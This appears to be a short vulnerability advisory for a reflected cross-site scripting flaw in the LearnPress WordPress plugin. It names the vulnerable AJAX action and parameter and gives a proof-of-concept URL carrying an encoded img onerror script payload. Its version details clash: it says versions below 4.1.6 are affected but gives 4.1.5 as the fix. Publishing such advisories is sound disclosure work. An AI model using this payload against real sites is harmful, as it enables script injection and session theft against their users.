WordPress Plugin Vulnerabilities
LearnPress < 4.1.6 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape the lp-dismiss-notice before outputting it back via the lp_background_single_email AJAX action, leading to a Reflected Cross-Site Scripting
Proof of Concept
https://example.com/wp-admin/admin-ajax.php?action=lp_background_single_email&lp-dismiss-notice=xxx%3Cimg%20src%20onerror=alert(`XSS`)%3E
Affects Plugins
Fixed in version 4.1.5
References
Classification
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
Timeline
Publicly Published
2022-03-16 (about 6 months ago)
Added
2022-03-16 (about 6 months ago)
Last Updated
2022-04-11 (about 5 months ago)